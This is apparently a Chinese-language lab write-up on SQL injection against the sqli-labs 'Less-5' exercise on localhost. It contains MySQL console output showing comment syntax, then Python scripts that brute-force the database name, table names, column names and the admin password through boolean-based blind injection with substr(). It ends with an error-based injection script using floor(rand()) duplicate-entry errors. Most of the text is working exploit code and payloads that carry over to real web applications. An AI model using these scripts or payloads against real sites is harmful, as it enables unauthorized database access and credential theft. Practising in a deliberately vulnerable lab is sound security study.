mysql> select * from flag;#select database(); +--------------------+ | flag | +--------------------+ | flag{flag is here} | +--------------------+ 1 row in set
-> -> ; Query OK, 0 rows affected
mysql> select * from flag;-- select database(); +--------------------+ | flag | +--------------------+ | flag{flag is here} | +--------------------+ 1 row in set
-> ; Query OK, 0 rows affected
mysql> select * from flag;/*select database();*/ +--------------------+ | flag | +--------------------+ | flag{flag is here} | +--------------------+ 1 row in set
-> select * from flag;/*select database();*/; +--------------------+ | flag | +--------------------+ | flag{flag is here} | +--------------------+ 1 row in set
import requests tables = "abcdefghijklmnopqrstuvwxyz123456789!@#$Z%^&*()\][;'.,/`·-=']" s = '' for j in range(1,10): for i in tables: url = "http://127.0.0.1/sqli/Less-5/?id=1' and substr(database(),%d,1)='%s'--+"%(j,i) r=requests.get(url) if"You are in"in r.text: s=s+i print(s) break #database()=security
爆破表名的url为
1 2 3 4 5 6
url = "http://127.0.0.1/sqli/Less-5/?id=1' and substr((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='security' limit 1,1),%d,1)='%s'--+"%(j,i)
url = http://127.0.0.1/sqli/Less-5/?id=1' and substr(( select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='admin' limit 2,1),%d,1)='%s'--+"%(j,i)
#admin 有三个字段名 id,username,password
爆破字段值的url
1
url = "http://127.0.0.1/sqli/Less-5/?id=1' and substr(( select id from admin limit 0,1),%d,1)='%s'--+"%(j,i)
完整脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
import requests tables = "abcdefghijklmnopqrstuvwxyz123456789" #爆数据库名 pay = 'database()' #爆表 #pay = "(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='security' limit 1,1)" #爆字段名 #pay= "( select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='admin' limit 2,1)" #爆字段值 #pay = "(select password from admin limit 0,1)" s = '' for j in range(1,10): for i in tables: url = "http://127.0.0.1/sqli/Less-5/?id=1' and substr("+pay+",%d,1)='%s'--+"%(j,i) r=requests.get(url) if"You are in"in r.text: s=s+i print(s) break
import requests import re #爆数据库 pay="database()" #爆表 #pay = "(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='security' limit 1,1)" #爆字段名 #pay= "( select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='admin' limit 2,1)" #爆字段值 #pay = "(select password from admin limit 0,1)" url = "http://127.0.0.1/sqli/Less-5/?id=1%27%20and id=1 and (select 1 from (select count(*),concat("+pay+",floor(rand(0)*2))x from information_schema.tables group by x)a) --+;" r=requests.get(url) print(re.findall("Duplicate entry '(.*?)1' for key",r.text))